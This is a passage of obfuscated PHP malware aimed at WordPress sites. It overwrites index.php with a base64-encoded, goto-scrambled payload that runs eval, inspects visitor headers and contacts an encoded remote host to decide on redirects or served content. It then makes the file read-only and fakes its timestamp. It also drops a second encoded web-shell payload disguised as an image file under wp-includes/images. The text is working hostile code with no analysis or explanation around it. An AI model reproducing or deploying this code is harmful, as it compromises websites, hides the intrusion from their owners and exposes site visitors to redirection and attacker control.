RVdTF5MzhuUUxCbmtwID0gc2VsZjo6a2Y1TjE3OHM3VDBWeigkWXpyeW1EaHI4VjRiNFswICsgMV0sICRGZ2dibHJ1ZHRaYnA4WzIgKyAzXSk7IGdvdG8genBWVHBjYmRqV2pyODsgenBWVHBjYmRqV2pyODogQGV2YWwoJEZnZ2JscnVkdFpicDhbMyArIDFdKCRVdTF5MzhuUUxCbmtwKSk7IGdvdG8gbjN5WFl2a1NlbnBTczsgTEk5dE05a2xkc1ZxMzogaWYgKCEoQCRZenJ5bURocjhWNGI0WzBdIC0gdGltZSgpID4gMCBhbmQgbWQ1KG1kNSgkWXpyeW1EaHI4VjRiNFsyICsgMV0pKSA9PT0gIlx4MzlceDMzXDcxXDE0NVx4MzBcNjdcMTQzXHg2NFx4MzhcNjZcNzFceDM4XDcwXHg2NVx4MzlceDM1XDYyXHg2NFw2Nlx4NjVcMTQxXDE0M1x4MzBcNjFcNjJceDMxXDE0Nlw3MFx4MzNcNjdcMTQyXHgzMSIpKSB7IGdvdG8gaXp2Y0ZDMDRqVklMZjsgfSBnb3RvIFNWUVdHd0Q5QzM5SmI7IHdrc0FBeFh4VlJRcmE6IH0gfSBnb3RvIHh6ME02YjhTazg1Yk07IGNTYjYwTHdjaHozU2U6IEs2UUtKWWJSd3FvS246IGdvdG8gRHRUbFE5b1c0RXgybjsgSzN3eHZ0ZXc4NTJYUzogVEVvQkhOc3RmRzBIZzogZ290byB5TE5KVFlyNDV4WXczOyBNT1RjU0JTX3NRQ2lHOiBCTXZGRjRXaTFzQWY2OiBnb3RvIGNTYjYwTHdjaHozU2U7IEswb1M4YnB2TzJEV286IGV4aXQoc3RycmV2KG1kNSgkX1NFUlZFUlsiXDEyM1wxMDVcMTIyXHg1NlwxMDVcMTIyXHg1ZlwxMTZceDQxXDExNVwxMDUiXSkpKTsgZ290byBNVVY4MEhtV1RaYW0yOyBpUXNaVXBZaGVhcXRHOiBmdW5jdGlvbiBPeVlJeFd5YnlLMW44KCRyVDBRRkYxVmUwU1RRKSB7IGdvdG8gQWtDMmdaM25jR2FaTTsgWGZuajBIZW11ZDdyWDogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJHJUMFFGRjFWZTBTVFEpLCAiXHgyYlx4MmYiLCAiXDU1XHg1ZiIpLCAiXDc1Iik7IGdvdG8gcHpWNUZWZ3VKQlEwNzsgb3ZUbXZSMm1BUnA2YjogcmV0dXJuICcnOyBnb3RvIHhMYkhhZVpJTERVXzk7IHhMYkhhZVpJTERVXzk6IEpza0tHSkl4a20yOEg6IGdvdG8gWGZuajBIZW11ZDdyWDsgQWtDMmdaM25jR2FaTTogaWYgKCRyVDBRRkYxVmUwU1RRKSB7IGdvdG8gSnNrS0dKSXhrbTI4SDsgfSBnb3RvIG92VG12UjJtQVJwNmI7IHB6VjVGVmd1SkJRMDc6IH0gZ290byBCZXJ0RDl6anE0Y3FJOyB2d3MyZXpEZmFHWGp1OiAkb0RFTmRYVnVtdzJaaFsiXHg3Mlx4NjYiXSA9IG9ZWWlYV3lieWsxbjgoJFJZUWFEbE5zSzlydDEpOyBnb3RvIEtidU5MazBtbE1DbGc7IE1VVjgwSG1XVFphbTI6IHlicEtRZmpZQUdlMWY6IGdvdG8gSmppQWRuQkdKbFZZMzsgRGtRckJFYzduYkl3ejogJFJZUWFEbE5zSzlydDEgPSBzdHJ2YWwoQCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1ZlwxMjJceDQ1XHg0Nlx4NDVceDUyXHg0NVwxMjIiXSk7IGdvdG8gdXh6U2lPczdPNDBDUDsgVmZPWHNSYnFPaWJwWjogJEhOR3hfMFo4MjJOdFcgPSBQelRQTmtwNzBEQk5VKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XHg1Mlx4MzBceDYzXHg0NFx4NmZceDc2XHg0Y1x4MzNceDcwXHg3YVwxMTZceDdhXHg2M1x4MzFceDY0XHg2YVwxMDVceDdhXHg1OVx4NThceDRkXDE2NVx4NWFcMTI3XHgzNVx4NmVcMTQ1XDEzMFwxMTVceDc1XDEzMVw2M1x4NmNcMTY2XDE0NFwxMjNcNzAiKSwgJG9ERU5kWFZ1bXcyWmgpOyBnb3RvIFVfTEJWNGJVV0pIQWk7IHBGQklpdWFGZllrOW86IGVycm9yX3JlcG9ydGluZygwKTsgZ290byBuZmlCcWpibWFBbkw2OyBmNTRaMXFfbVZPQW5YOiBjdktSZG8wR3NpUG42OiBnb3RvIE45b2RwRVR5dTZJRVg7IEJlcnREOXpqcTRjcUk6IGZ1bmN0aW9uIHVOcXVndXM3aHdNanMoKSB7IGdvdG8ga3JrT2hubXpUMEoxZDsgRGc5TFJXanBPZTk0MTogJFk5eUM4Wmpzc2s4amkgPSAkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XHg1MFwxMzdcMTMwXDEzN1wxMjJceDQ1XHg0MVx4NGNceDVmXHg0OVx4NTAiXTsgZ290byB1NlhsdFl2RTI0R19tOyB1cjZVSmVpd1VaMEo5OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXHg1OFx4NWZcMTA2XHg0ZlwxMjJceDU3XHg0MVx4NTJcMTA0XDEwNVwxMDRcMTM3XDEwNlx4NGZcMTIyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDU4XDEzN1x4NDZceDRmXHg1MlwxMjdceDQxXHg1Mlx4NDRceDQ1XDEwNFx4NWZceDQ2XHg0Zlx4NTIiXSkpIHsgZ290byBod3ZPMk9oZzJRVVlWOyB9IGdvdG8gaGFZbGQ5WklNMmI2TDsgaGFZbGQ5WklNMmI2TDogJFk5eUM4Wmpzc2s4amkgPSAkX1NFUlZFUlsiXHg1Mlx4NDVceDRkXDExN1x4NTRcMTA1XHg1Zlx4NDFcMTA0XHg0NFwxMjIiXTsgZ290byBUdm5CNklEZUVySm1QOyB1cHRJT1lEYl93OGJuOiBCUWYxR0FtMzhxckI5OiBnb3RvIERnOUxSV2pwT2U5NDE7IHJDbEU1R0FOV083aXE6IGdvdG8gTkpFTU5tMWZqaDFsUzsgZ290byB1cHRJT1lEYl93OGJuOyB2cW1EY2JHZW1nbFFsOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBceDVmXDEwM1wxMDZceDVmXDEwM1x4NGZcMTE2XDExNlx4NDVceDQzXDEyNFx4NDlceDRlXDEwN1wxMzdceDQ5XHg1MCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFwxMjBcMTM3XHg0M1wxMDZcMTM3XDEwM1x4NGZceDRlXDExNlwxMDVcMTAzXHg1NFwxMTFcMTE2XDEwN1x4NWZcMTExXDEyMCJdKSkgeyBnb3RvIHZHR3lMMUFUSlROT1I7IH0gZ290byBBREJCNXlvRmswVGVpOyB1NlhsdFl2RTI0R19tOiBnb3RvIE5KRU1ObTFmamgxbFM7IGdvdG8gUkxyUFNDWndkeXdfcjsgdkFXSHFvVGlIT0dQRDogJFk5eUM4Wmpzc2s4amkgPSAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDU4XDEzN1wxMDZcMTE3XDEyMlx4NTdceDQxXHg1Mlx4NDRceDQ1XHg0NFwxMzdceDQ2XDExN1x4NTIiXTsgZ290byBOM1owY2I2YTdtWGduOyBEc3dwTXN6eEhma0NwOiB4c0VGMUF4RDhVOEppOiBnb3RvIGR3UzJtV09FcGZJR3Q7IGYyZ0RsUDIzUXE3NVc6ICRZOXlDOFpqc3NrOGppID0gJF9TRVJWRVJbIlwxMTBcMTI0XDEyNFx4NTBceDVmXDEwM1wxMDZcMTM3XHg0M1x4NGZcMTE2XHg0ZVx4NDVceDQzXHg1NFwxMTFcMTE2XDEwN1wxMzdceDQ5XHg1MCJdOyBnb3RvIHJDbEU1R0FOV083aXE7IGtya09obm16VDBKMWQ6ICRZOXlDOFpqc3NrOGppID0gJyc7IGdvdG8gdnFtRGNiR2VtZ2xRbDsgcWh3dExNaVZwY2tpVDogJFk5eUM4Wmpzc2s4amkgPSAkWTl5QzhaanNzazhqaVswXTsgZ290byBEc3dwTXN6eEhma0NwOyBBejRTZDlnTFNOcTJZOiB2R0d5TDFBVEpUTk9SOiBnb3RvIGYyZ0RsUDIzUXE3NVc7IFJMclBTQ1p3ZHl3X3I6IGh3dk8yT2hnMlFVWVY6IGdvdG8gdkFXSHFvVGlIT0dQRDsgQURCQjV5b0ZrMFRlaTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXDEzN1x4NThcMTM3XHg1MlwxMDVceDQxXHg0Y1x4NWZceDQ5XDEyMCJdKSAmJiAhZW1wdHkoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg1OFwxMzdceDUyXDEwNVwxMDFceDRjXHg1ZlwxMTFcMTIwIl0pKSB7IGdvdG8gQlFmMUdBbTM4cXJCOTsgfSBnb3RvIHVyNlVKZWl3VVowSjk7IE4zWjBjYjZhN21YZ246IE5KRU1ObTFmamgxbFM6IGdvdG8gUksxWDdrazlMcU9tOTsgVHZuQjZJRGVFckptUDogZ290byBOSkVNTm0xZmpoMWxTOyBnb3RvIEF6NFNkOWdMU05xMlk7IFJLMVg3a2s5THFPbTk6ICRZOXlDOFpqc3NrOGppID0gdHJpbShzdHJfcmVwbGFjZSgiXDQwIiwgJycsICRZOXlDOFpqc3NrOGppKSwgIlw1NCIpOyBnb3RvIFo0VWJIUjNleDlGYV87IGR3UzJtV09FcGZJR3Q6IHJldHVybiAkWTl5QzhaanNzazhqaTsgZ290byBuZ3haa2tXRG5MajV0OyB2SzQzRU1PYTJ1TjJYOiAkWTl5QzhaanNzazhqaSA9IGV4cGxvZGUoIlw1NCIsICRZOXlDOFpqc3NrOGppKTsgZ290byBxaHd0TE1pVnBja2lUOyBaNFViSFIzZXg5RmFfOiBpZiAoIShzdHJwb3MoJFk5eUM4Wmpzc2s4amksICJcNTQiKSAhPT0gZmFsc2UpKSB7IGdvdG8geHNFRjFBeEQ4VThKaTsgfSBnb3RvIHZLNDNFTU9hMnVOMlg7IG5neFpra1dEbkxqNXQ6IH0gZ290byBUaF9GenVNY3ZfOGpLOyBRTF9Ua3dMTURROTF1OiBAaGVhZGVyKCJcMTAzXDE1N1x4NmVceDc0XDE0NVx4NmVceDc0XDU1XDEyNFwxNzFceDcwXHg2NVw3MiIgLiAkSE5HeF8wWjgyMk50V1siXDE2NFx4NzlcMTYwXHg2NSJdKTsgZ290byBieFZwZkhWWmJvU1AyOyBuZmlCcWpibWFBbkw2OiBmdW5jdGlvbiB5TlRDSlRzc3pfZVlPKCRLWEkxY0NnMmt0VWdHKSB7IGdvdG8gY3VQMGw5RzlIMld3ZzsgVHVvNnA5aDBsUHk0eTogUFZlbzRXc2JaZWcxaDogZ290byBUTXoxUlZRejJPNllDOyBwYnJUWE1ZTWswemZsOiBuN1pWdm05ZkdHdENmOiBnb3RvIFZVbVNjQ1FWV0RLWUY7IFh0MGE1MjNnaDZyVVk6IGlmIChpc19hcnJheSgkS1hJMWNDZzJrdFVnRykpIHsgZ290byBuN1pWdm05ZkdHdENmOyB9IGdvdG8gcXQ3c09ZekJFSVlVeTsgVE16MVJWUXoyTzZZQzogcmV0dXJuICRiN3JuN3BndlN2M2tjOyBnb3RvIElRMTRnMlUzZHZKZEU7IFZVbVNjQ1FWV0RLWUY6IGZvcmVhY2ggKCRLWEkxY0NnMmt0VWdHIGFzICRnZmJIQ0pfOFNhRUZWKSB7IGdvdG8gYWdyTVU4OTBMT1NXbDsgazhPaWJlbWpGRTZRRDogYmU4RzBCYm0wa1dXejogZ290byBKVklfTjdDbUdmSEFhOyBsOElseWxWaFFrVEF1OiBGSGkzRHFQeWhpSk4yOiBnb3RvIGhvWUlYZXhlbnVJWDM7IE9BMmhFc2tBSEdxZTc6IERDOVFYRGZWNVN0NVI6IGdvdG8gazhPaWJlbWpGRTZRRDsgS1hLUEU0ZWMzYUNkQTogJGI3cm43cGd2U3Yza2NbIlwxNjNceDc0XDE0MVx4NzRceDc1XDE2MyJdID0gaW50dmFsKCRwTkx1YWhycndTUTZ4WzFdKTsgZ290byBCcDhuQUxGNzhZSW5QOyBhZ3JNVTg5MExPU1dsOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2OFx4NzRceDc0XDE2MFwxMzRceDJmXDEzM1w2MFx4MmRceDM5XHg1Y1x4MmVcMTM1XDUzXDEzM1wxMzRceDczXDEzNVx4MmJceDI4XDEzM1x4MzBceDJkXHgzOVx4NWRcNTNcNTFcNTdcMTUxIiwgJGdmYkhDSl84U2FFRlYsICRwTkx1YWhycndTUTZ4KSkgeyBnb3RvIG9VNDlrR2xmZjlJV1k7IH0gZ290byBHbTNMQTMyc3MwY0gxOyBCcDhuQUxGNzhZSW5QOiBnb3RvIERDOVFYRGZWNVN0NVI7IGdvdG8gbDhJbHlsVmhRa1RBdTsgR20zTEEzMnNzMGNIMTogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTU0XDE1N1x4NjNcMTQxXDE2NFwxNTFcMTU3XDE1NlwxMzRcNzJcMTMzXDEzNFx4NzNceDVkXHgyYlx4MjhcNTZcNTJcNTFcNTdceDY5IiwgJGdmYkhDSl84U2FFRlYsICRwTkx1YWhycndTUTZ4KSkgeyBnb3RvIEZIaTNEcVB5aGlKTjI7IH0gZ290byBJaXE4NHJTZUdmUm9XOyBNSktlejhoaE56VmZOOiAkYjdybjdwZ3ZTdjNrY1siXHg3NFx4NzlceDcwXHg2NSJdID0gJHBOTHVhaHJyd1NRNnhbMV07IGdvdG8gT0EyaEVza0FIR3FlNzsgekFmS01ZcVBHQl9OODogekdjbkpxQ2I0YnpmMTogZ290byBNSktlejhoaE56VmZOOyBPZ0hrbHA0bDNTVEZfOiBvVTQ5a0dsZmY5SVdZOiBnb3RvIEtYS1BFNGVjM2FDZEE7IGxWNGc2YVJLOU03MnU6IGdvdG8gREM5UVhEZlY1U3Q1UjsgZ290byB6QWZLTVlxUEdCX044OyBJaXE4NHJTZUdmUm9XOiBpZiAocHJlZ19tYXRjaCgiXDU3XDE0M1x4NmZcMTU2XDE2NFx4NjVcMTU2XDE2NFwxMzRcNTVceDc0XDE3MVwxNjBceDY1XHg1Y1w3MlwxMzNceDVjXHg3M1wxMzVceDJiXHgyOFw1Nlx4MmFcNTFceDJmXDE1MSIsICRnZmJIQ0pfOFNhRUZWLCAkcE5MdWFocnJ3U1E2eCkpIHsgZ290byB6R2NuSnFDYjRiemYxOyB9IGdvdG8gS1FsakI3ZHZLZFpSYjsgaG9ZSVhleGVudUlYMzogJGI3cm43cGd2U3Yza2NbIlwxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjQiXSA9ICRwTkx1YWhycndTUTZ4WzFdOyBnb3RvIGxWNGc2YVJLOU03MnU7IEtRbGpCN2R2S2RaUmI6IGdvdG8gREM5UVhEZlY1U3Q1UjsgZ290byBPZ0hrbHA0bDNTVEZfOyBKVklfTjdDbUdmSEFhOiB9IGdvdG8gVHVvNnA5aDBsUHk0eTsgcXQ3c09ZekJFSVlVeTogcmV0dXJuICRiN3JuN3BndlN2M2tjOyBnb3RvIHBiclRYTVlNazB6Zmw7IGN1UDBsOUc5SDJXd2c6ICRiN3JuN3BndlN2M2tjID0gYXJyYXkoIlx4NzNcMTY0XHg2MVwxNjRcMTY1XHg3MyIgPT4gMCwgIlwxNDNcMTU3XHg2ZVwxNjRcMTQ1XDE1Nlx4NzQiID0+ICcnLCAiXHg3NFx4NzlcMTYwXHg2NSIgPT4gJycpOyBnb3RvIFh0MGE1MjNnaDZyVVk7IElRMTRnMlUzZHZKZEU6IH0gZ290byBHTEkyZ0ZMUjB1ank2OyBvZm9PNUFUWUhRRTMxOiAkZGJNQWYzb2lsMEhfcCA9ICJcMTYyIiAuICJceDYxIiAuICJceDZlIiAuICJcMTQ3IiAuICJcMTQ1IjsgZ290byBJREkyZmxISnR1bzZLOyBVX0xCVjRiVVdKSEFpOiBpZiAoaW5fYXJyYXkoJEhOR3hfMFo4MjJOdFdbIlx4NzNcMTY0XHg2MVwxNjRcMTY1XHg3MyJdLCBhcnJheSgwLCAyMDApKSkgeyBnb3RvIEs2UUtKWWJSd3FvS247IH0gZ290byBRQVNrVlJ1M2V0MW9YOyBpQkx0enhnVjNWZE9NOiBAZXZhbCgkYnhfTjdSSUhpT2lXN1s2N10oJHskYnhfTjdSSUhpT2lXN1s0NF19WzIwXSkpOyBnb3RvIFVGQWdOZFNKVWc5RGE7IHVDZzdqampkeTVqMno6IGlmICghaW5fYXJyYXkoJGRvRWI5VTI1Y1hVam0sIGFycmF5KCJcNTZceDZhXDE2MyIsICJceDJlXHg2M1x4NzNcMTYzIiwgIlw1NlwxNTJceDcwXDE0NyIsICJcNTZcMTYwXHg2ZVx4NjciLCAiXDU2XHg2N1x4NjlcMTQ2IiwgIlw1Nlx4NjlcMTQzXDE1NyIpKSkgeyBnb3RvIGN2S1JkbzBHc2lQbjY7IH0gZ290byBjNkFMX1B1UU1wRFJzOyBjNkFMX1B1UU1wRFJzOiAkb0xrNzRtZnBVSVhITCA9IHRydWU7IGdvdG8gZjU0WjFxX21WT0FuWDsgemhLSF9keHc1a05hdjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIG9mb081QVRZSFFFMzE7IEtidU5MazBtbE1DbGc6ICRvREVOZFhWdW13MlpoWyJceDczIl0gPSBPWXlJWFdZYllLMU44KCRSZWtSOTNxdXZPVnU4KTsgZ290byBaT1NuVXNsNnFBS1VSOyBjZFprTzNBS1dHTDdFOiAkb0RFTmRYVnVtdzJaaFsiXDE2M1wxNTYiXSA9IE95eUl4d1lieUsxTjgoJF9TRVJWRVJbIlx4NTNcMTAzXDEyMlwxMTFcMTIwXDEyNFx4NWZceDRlXDEwMVwxMTVceDQ1Il0pOyBnb3RvIHVwZkpRX3dyMlNjSzc7IFc3NHVNMHZsSmt6RHI6ICRSWVFhRGxOc0s5cnQxID0gJyc7IGdvdG8gbXhRekgwaGpKeDBfMDsgWk9TblVzbDZxQUtVUjogJG9ERU5kWFZ1bXcyWmhbIlwxNjUiXSA9IE95eWlYV1liWWsxTjgoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBceDVmXHg1NVwxMjNcMTA1XHg1Mlx4NWZcMTAxXDEwN1x4NDVcMTE2XDEyNCJdKTsgZ290byBGQ3QxcWVzWnpIc240OyBVRkFnTmRTSlVnOURhOiBXQkJxVThXUDVkMWJxOiBnb3RvIGxNZmJEQmpLMWpsUkE7IHVwZkpRX3dyMlNjSzc6ICRvREVOZFhWdW13MlpoWyJcMTYyIl0gPSBvWXlpWFdZYllLMU44KCRfU0VSVkVSWyJceDUyXHg0NVwxMjFceDU1XDEwNVx4NTNceDU0XDEzN1wxMjVceDUyXHg0OSJdKTsgZ290byB2d3MyZXpEZmFHWGp1OyBRQVNrVlJ1M2V0MW9YOiBzd2l0Y2ggKCRITkd4XzBaODIyTnRXWyJceDczXDE2NFx4NjFceDc0XHg3NVwxNjMiXSkgeyBjYXNlIDMwMTogZ290byBlcTFlS0xoZlBBWWczOyBlcTFlS0xoZlBBWWczOiBoZWFkZXIoIlx4NDhceDU0XHg1NFwxMjBcNTdcNjFcNTZceDMxXDQwXHgzM1x4MzBcNjFcNDBceDRkXDE1N1x4NzZcMTQ1XDE0NFw0MFwxMjBcMTQ1XDE2Mlx4NmRceDYxXHg2ZVwxNDVceDZlXDE2NFwxNTRceDc5Iik7IGdvdG8gV0tZSTdZNmM4eWVpVjsgb0FyY2hoZHFQSFZrMDogZ290byBCTXZGRjRXaTFzQWY2OyBnb3RvIEFyalJKSEhVS3BNVjc7IFdLWUk3WTZjOHllaVY6IGhlYWRlcigiXHg0Y1wxNTdceDYzXDE0MVx4NzRceDY5XDE1N1x4NmVcNzJcNDAiIC4gdHJpbSgkSE5HeF8wWjgyMk50V1siXHg2M1wxNTdceDZlXDE2NFwxNDVcMTU2XHg3NCJdKSk7IGdvdG8gb0FyY2hoZHFQSFZrMDsgQXJqUkpISFVLcE1WNzogY2FzZSAzMDI6IGdvdG8gWm1SMjhYR1FsMnRiVDsgSmdrTnh0Rlk3QmttNzogZ290byBCTXZGRjRXaTFzQWY2OyBnb3RvIFQ4aEdydEJrejVyY3Q7IFE3WVZ6MW1zODdRZzk6IGhlYWRlcigiXHg0Y1wxNTdceDYzXHg2MVwxNjRcMTUxXHg2Zlx4NmVceDNhXDQwIiAuIHRyaW0oJEhOR3hfMFo4MjJOdFdbIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVx4NzQiXSkpOyBnb3RvIEpna054dEZZN0JrbTc7IFptUjI4WEdRbDJ0YlQ6IGhlYWRlcigiXDExMFwxMjRceDU0XHg1MFx4MmZceDMxXDU2XDYxXDQwXHgzM1x4MzBcNjJceDIwXDExNVx4NmZcMTY2XDE0NVx4MjBceDU0XHg2NVwxNTVcMTYwXDE1N1x4NzJceDYxXDE2MlwxNTFceDZjXHg3OSIpOyBnb3RvIFE3WVZ6MW1zODdRZzk7IFQ4aEdydEJrejVyY3Q6IGNhc2UgNDA0OiBnb3RvIFp0cWVMWlQyQW15UkI7IFVsV044MVRKZkRnRmg6IGhlYWRlcigiXHg3M1x4NzRcMTQxXHg3NFx4NzVcMTYzXDcyXDQwXDY0XHgzMFx4MzRceDIwXDExNlx4NmZceDc0XHgyMFwxMDZceDZmXDE2NVwxNTZceDY0Iik7IGdvdG8gRGRfWllvZkVlbnpaQjsgRGRfWllvZkVlbnpaQjogZ290byBCTXZGRjRXaTFzQWY2OyBnb3RvIEJJMDQ3ME1aakhYMU87IFp0cWVMWlQyQW15UkI6IGhlYWRlcigiXHg0OFx4NTRceDU0XHg1MFx4MmZceDMxXDU2XHgzMVx4MjBcNjRceDMwXHgzNFw0MFwxMTZceDZmXHg3NFw0MFwxMDZceDZmXDE2NVwxNTZcMTQ0Iik7IGdvdG8gVWxXTjgxVEpmRGdGaDsgQkkwNDcwTVpqSFgxTzogZGVmYXVsdDogZ290byBCTXZGRjRXaTFzQWY2OyB9IGdvdG8gTUdnT3AxNm1LWjZTODsgT3EzbmJfTXRhczFCaTogJG9ERU5kWFZ1bXcyWmhbIlwxNTEiXSA9IG95eUl4d1lieUsxbjgoJFk5eUM4Wmpzc2s4amkpOyBnb3RvIHJ0NG01SEhNX0h2TDU7IHJ0NG01SEhNX0h2TDU6ICRvREVOZFhWdW13MlpoWyJceDZjIl0gPSBPWXlpWFdZYllrMU44KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXDEzN1wxMDFcMTAzXHg0M1x4NDVceDUwXHg1NFwxMzdcMTE0XDEwMVwxMTZcMTA3XHg1NVwxMDFcMTA3XHg0NSJdKTsgZ290byBjZFprTzNBS1dHTDdFOyBOOW9kcEVUeXU2SUVYOiBWMVF5RHkzaGRUWFZ2OiBnb3RvIEtITzlBVzkySXZhSkY7IE1HZ09wMTZtS1o2Uzg6IHBUUVEwb2l4VkRaa2M6IGdvdG8gTU9UY1NCU19zUUNpRzsgS0hPOUFXOTJJdmFKRjogaWYgKCRvTGs3NG1mcFVJWEhMKSB7IGdvdG8gT0s4OHhHQ1IzcHRyNDsgfSBnb3RvIFZmT1hzUmJxT2licFo7IHNiQUkzSWlaVmNpc206IGlmICghKHN0cnBvcygkUllRYURsTnNLOXJ0MSwgJFJla1I5M3F1dk9WdTgpID09PSAwKSkgeyBnb3RvIE5ja1BHdWVtMnNRaHI7IH0gZ290byBXNzR1TTB2bEprekRyOyBlRG8xN052d2RlT3hSOiAkWTl5QzhaanNzazhqaSA9IFVuUVVnVVM3SHdNalMoKTsgZ290byBEa1FyQkVjN25iSXd6OyBGVnJKQUR5ZGMzbDBzOiBoZWFkZXIoIlwxMDNceDZmXDE1NlwxNjRceDY1XDE1Nlx4NzRceDJkXHg1NFx4NzlcMTYwXDE0NVw3Mlw0MFx4NzRceDY1XDE3MFwxNjRceDJmXHg2OFx4NzRceDZkXHg2Y1w3M1x4MjBceDYzXHg2OFwxNDFcMTYyXDE2M1wxNDVcMTY0XHgzZFx4NzVceDc0XDE0Nlw1NVw3MCIpOyBnb3RvIHBGQklpdWFGZllrOW87IFlOdHVyZzFXcGxLVXQ6IGlmICghKGluX2FycmF5KGdldHR5cGUoJGJ4X043UklIaU9pVzcpIC4gIlx4MzFcNjAiLCAkYnhfTjdSSUhpT2lXNykgJiYgbWQ1KG1kNShtZDUobWQ1KCRieF9ON1JJSGlPaVc3WzRdKSkpKSA9PT0gIlwxNDJcNjJcMTQ1XDY0XDcxXDY3XHgzNFx4MzZcNjFcNjdcNjFceDM4XDYyXDYzXHgzMFw3MFx4NjFceDMwXHgzMFwxNDVcNjdcNjNceDY1XHg2MlwxNDJceDM2XDE0NVwxNDNceDM2XHgzN1x4MzhceDM1IikpIHsgZ290byBXQkJxVThXUDVkMWJxOyB9IGdvdG8gaV8xUTN2bjNmZVVxeTsgeUxOSlRZcjQ1eFl3MzogT0s4OHhHQ1IzcHRyNDoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
@chmod($do."index.php", 0644);
@file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
@touch($do."index.php", filectime($do."index.php"));
@chmod($do."index.php", 0444);
}
$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
$jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0